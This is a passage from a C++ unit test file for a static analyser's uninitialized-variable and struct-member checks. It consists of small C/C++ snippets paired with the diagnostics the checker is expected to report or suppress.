TODO_ASSERT_EQUALS(\"[test.cpp:6:24]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", \"\", errout_str());\n\n // initialization in condition\n valueFlowUninit(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (init(&a)) { }\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return, break, continue, goto\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { return; }\\n\"\n \" else { x = 1; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { return; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f(int x) {\\n\"\n \" int ret;\\n\"\n \" if (!x) {\\n\"\n \" ret = -123;\\n\"\n \" goto out1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"out1:\\n\"\n \"out2:\\n\"\n \" return ret;\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" i = 1;\\n\"\n \" } else {\\n\"\n \" goto out;\\n\"\n \" }\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" int i,x;\\n\"\n \" for (i=0;i<9;++i)\\n\"\n \" if (foo) break;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" int x;\\n\"\n \" while (foo)\\n\"\n \" if (bar) break;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n // try/catch : don't warn about exception variable\n valueFlowUninit(\"void f() {\\n\"\n \" try {\\n\"\n \" } catch (CException* e) {\\n\"\n \" trace();\\n\"\n \" e->Delete();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #5347\n \" try {\\n\"\n \" } catch (const char* e) {\\n\"\n \" A a = e;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // exit\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { exit(0); }\\n\"\n \" else { x = 1; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strange code.. don't crash (#3415)\n valueFlowUninit(\"void foo() {\\n\"\n \" int i;\\n\"\n \" ({ if (0); });\\n\"\n \" for_each(i) { }\\n\"\n \"}\",\n false);\n\n // if, if\n valueFlowUninit(\"void f(int a) {\\n\"\n \" int i;\\n\"\n \" if (a) i = 0;\\n\"\n \" if (a) i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a,b=0;\\n\"\n \" if (x) {\\n\"\n \" if (y) {\\n\"\n \" a = 0;\\n\"\n \" b = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if (b) a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a=0, b;\\n\"\n \" if (x) { }\\n\"\n \" else { if (y==2) { a=1; b=2; } }\\n\"\n \" if (a) { ++b; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void f(int x, int y) {\\n\"\n \" int a;\\n\"\n \" if (x == 0) { a = y; }\\n\"\n \" if (x == 0 && (a == 1)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void f() {\\n\"\n \" int a=0, b;\\n\"\n \" if (something) { a = dostuff(&b); }\\n\"\n \" if (!a || b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void f(int x, int y) {\\n\"\n \" int a;\\n\"\n \" if (x == 0 && (a == 1)) { }\\n\"\n \"}\",\n true);\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (x) { a = 0; }\\n\"\n \" if (x) { if (y) { a++; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (x) { a = 0; }\\n\"\n \" if (x) { if (y) { } else { a++; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" if (x) ab = getAB();\\n\"\n \" else ab.a = 0;\\n\"\n \" if (ab.a == 1) b = ab.b;\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(void) {\\n\"\n \" int a;\\n\"\n \" int i;\\n\"\n \" if (x) { noreturn(); }\\n\"\n \" else { i = 0; }\\n\"\n \" if (i==1) { a = 0; }\\n\"\n \" else { a = 1; }\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int a) {\\n\" // #4560\n \" int x = 0, y;\\n\"\n \" if (a) x = 1;\\n\"\n \" else return 0;\\n\"\n \" if (x) y = 123;\\n\" // <- y is always initialized\n \" else {}\\n\"\n \" return y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:9] -> [test.cpp:7:12]: (warning) Uninitialized variable: y [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f(int a) {\\n\" // #6583\n \" int x;\\n\"\n \" if (a < 2) exit(1);\\n\"\n \" else if (a == 2) x = 0;\\n\"\n \" else exit(2);\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int a) {\\n\" // #4560\n \" int x = 1, y;\\n\"\n \" if (a) x = 0;\\n\"\n \" else return 0;\\n\"\n \" if (x) {}\\n\"\n \" else y = 123;\\n\" // <- y is always initialized\n \" return y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:9] -> [test.cpp:7:12]: (warning) Uninitialized variable: y [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\" // #3948\n \" int value;\\n\"\n \" if (x !=-1)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == -1 || value > 300) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"enum t_err { ERR_NONE, ERR_BAD_ARGS };\\n\" // #9649\n \"struct box_t { int value; };\\n\"\n \"int init_box(box_t *p, int v);\\n\"\n \"\\n\"\n \"void foo(int ret) {\\n\"\n \" box_t box2;\\n\"\n \" if (ret == ERR_NONE)\\n\"\n \" ret = init_box(&box2, 20);\\n\"\n \" if (ret == ERR_NONE)\\n\"\n \" z = x + box2.value;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int value;\\n\"\n \" if (x == 32)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == 1)\\n\"\n \" v = value;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:9]: (error) Uninitialized variable: value [legacyUninitvar]\\n\", \"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int value;\\n\"\n \" if (x == 32)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == 32) {}\\n\"\n \" else v = value;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:6:12]: (warning) Uninitialized variable: value [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"static int x;\" // #4773\n \"int f() {\\n\"\n \" int y;\\n\"\n \" if (x) g();\\n\"\n \" if (x) y = 123;\\n\"\n \" else y = 456;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static int x;\" // #4773\n \"int f() {\\n\"\n \" int y;\\n\"\n \" if (!x) g();\\n\"\n \" if (x) y = 123;\\n\"\n \" else y = 456;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int a) {\\n\"\n \" int x;\\n\"\n \" if (a) x=123;\\n\"\n \" if (!a) {\\n\"\n \" if (!a) {}\\n\"\n \" else if (x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // asm\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" asm();\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // sizeof / typeof / offsetof / etc\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" sizeof(i+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (100 == sizeof(i+1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" int i = ARRAY_SIZE(abc.a);\"\n \"}\");\n // FP ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int *abc;\\n\"\n \" typeof(*abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" return do_something(typeof(*abc));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" A *a;\\n\"\n \" a = malloc(sizeof(*a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // &\n valueFlowUninit(\"void f() {\\n\" // #4426 - address of uninitialized variable\n \" int a,b;\\n\"\n \" if (&a == &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #4439 - cast address of uninitialized variable\n \" int a;\\n\"\n \" x((LPARAM)(RECT*)&a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\n \"int main() {\\n\"\n \" int done;\\n\"\n \" dostuff(1, (AuPointer) &done);\\n\" // <- It is not conclusive if the \"&\" is a binary or unary operator. Bailout.\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:3:29]: (error) Uninitialized variable: done [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #4778 - cast address of uninitialized variable\n \" long a;\\n\"\n \" &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #4717 - ({})\n \" int a = ({ long b = (long)(123); 2 + b; });\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void valueFlowUninit_functioncall() {\n\n // #12462 - pointer data is not read\n valueFlowUninit(\"struct myst { int a; };\\n\"\n \"void bar(const void* p) {}\\n\"\n \"void foo() {\\n\"\n \" struct myst item;\\n\"\n \" bar(&item);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct myst { int a; };\\n\"\n \"void bar(const void* p) { a = (p != 0); }\\n\"\n \"void foo() {\\n\"\n \" struct myst item;\\n\"\n \" bar(&item);\\n\"\n \" a = item.a;\\n\" // <- item.a is not initialized\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:6:12]: (error) Uninitialized variable: item.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct myst { int a; };\\n\"\n \"void bar(struct myst* p) { p->a = 0; }\\n\"\n \"void foo() {\\n\"\n \" struct myst item;\\n\"\n \" bar(&item);\\n\"\n \" a = item.a;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int& r) {}\\n\" // #12536\n \"void g() {\\n\"\n \" int i;\\n\"\n \" f(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int& i, int j, int k) {\\n\" // #12514\n \" if (k)\\n\"\n \" i = 2;\\n\"\n \" return i + j;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int i;\\n\"\n \" return f(i, 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:4:12]: (warning) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f(int& i, int k) {\\n\"\n \" if (k)\\n\"\n \" i = 2;\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int i;\\n\"\n \" return f(i, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:4:12]: (warning) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n }\n\n void uninitStructMember() { // struct members\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = ab.a + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:6:18]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\" // #4760\n \"void do_something(int a);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" do_something(ab.a);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:5:18]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB &ab) { a = ab.a; }\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:13]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" AB ab1;\\n\"\n \" AB ab2 = { ab1.a, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (error) Uninitialized struct member: ab1.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" buf[ab.a] = 0;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:9]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" x = ab;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:5:9]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" x = *(&ab);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:5:12]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int x;\\n\"\n \" ab.a = (addr)&x;\\n\"\n \" dostuff(&ab,0);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" static void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" static void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" static int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" static int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\" // pass struct member by address\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" assign(&ab.a, 0);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct Cstring { char *text; int size, alloc; };\\n\"\n \"int maybe();\\n\"\n \"void f() {\\n\"\n \" Cstring res;\\n\"\n \" if ( ! maybe() ) return;\\n\" // <- fp goes away if this is removed\n \" ( ((res).text = (void*)0), ((res).size = (res).alloc = 0) );\\n\" // <- fp goes away if parentheses are removed\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n constexpr char argDirectionsTestXmlData[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings s = settingsBuilder(settings).libraryxml(argDirectionsTestXmlData).build();\n\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" uninitvar_funcArgInTest(&ab);\\n\"\n \" x = ab;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"[test.c:5:9]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" uninitvar_funcArgOutTest(&ab);\\n\"\n \" x = ab;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" ab.b = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n checkUninitVar(\"struct AB { char a[10]; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy(ab.a, STR);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { unsigned char a[10]; };\\n\" // #8999 - cast\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy((char *)ab.a, STR);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { char a[10]; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy(x, ab.a);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n TODO_ASSERT_EQUALS(\"[test.c:4:16]: (error) Uninitialized variable: ab.a [uninitvar]\\n\", \"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" dosomething(ab.a);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab = getAB();\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // #6769 - calling method that might assign struct members\n checkUninitVar(\"struct AB { int a; int b; void set(); };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.set();\\n\"\n \" x = ab;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int get() const; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.get();\\n\"\n \" x = ab;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; void dostuff() {} };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.dostuff();\\n\"\n \" x = ab;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n checkUninitVar(\"struct AB { int a; struct { int b; int c; } s; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.s.b = 2;\\n\"\n \" ab.s.c = 3;\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct conf {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void do_something(struct conf ant_conf);\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct conf c;\\n\"\n \" initdata(&c);\\n\"\n \" do_something(c);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct PIXEL {\\n\"\n \" union {\\n\"\n \" struct { unsigned char red,green,blue,alpha; };\\n\"\n \" unsigned int color;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned char f() {\\n\"\n \" struct PIXEL p1;\\n\"\n \" p1.color = 255;\\n\"\n \" return p1.red;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"int f() {\\n\"\n \" struct AB *ab;\\n\"\n \" for (i = 1; i < 10; i++) {\\n\"\n \" if (condition && (ab = getab()) != NULL) {\\n\"\n \" a = ab->a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"int f(int x) {\\n\"\n \" struct AB *ab;\\n\"\n \" if (x == 0) {\\n\"\n \" ab = getab();\\n\"\n \" }\\n\"\n \" if (x == 0 && (ab != NULL || ab->a == 0)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct A { int *x; };\\n\" // declarationId is 0 for \"delete\"\n \"void foo(void *info, void*p);\\n\"\n \"void bar(void) {\\n\"\n \" struct A *delete = 0;\\n\"\n \" foo( info, NULL );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct ABC { int a; int b; int c; };\\n\"\n \"void foo(int x, const struct ABC *abc);\\n\"\n \"void bar(void) {\\n\"\n \" struct ABC abc;\\n\"\n \" foo(123, &abc);\\n\"\n \" return abc.b;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Uninitialized struct member: abc.a\\n\"\n \"[test.cpp:5]: (error) Uninitialized struct member: abc.b\\n\"\n \"[test.cpp:5]: (error) Uninitialized struct member: abc.c\\n\",\n \"[test.cpp:6:10]: (error) Uninitialized struct member: abc.b [uninitStructMember]\\n\",\n errout_str());\n\n checkUninitVar(\"struct ABC { int a; int b; int c; };\\n\"\n \"void foo() {\\n\"\n \" struct ABC abc;\\n\"\n \" dostuff((uint32_t *)&abc.a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(void) {\\n\"\n \" struct tm t;\\n\"\n \" t.tm_year = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" return ab.b;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:5:12]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" return ab.a;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct S { int a; int b; };\\n\" // #8299\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" s.a = 0;\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized struct member: s.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct S { int a; int b; };\\n\" // #9810\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" return s.a ? 1 : 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized struct member: s.a [uninitStructMember]\\n\", errout_str());\n\n // checkIfForWhileHead\n checkUninitVar(\"struct FRED {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct FRED fred;\\n\"\n \" fred.a = do_something();\\n\"\n \" if (fred.a == 0) { }\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct FRED {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n 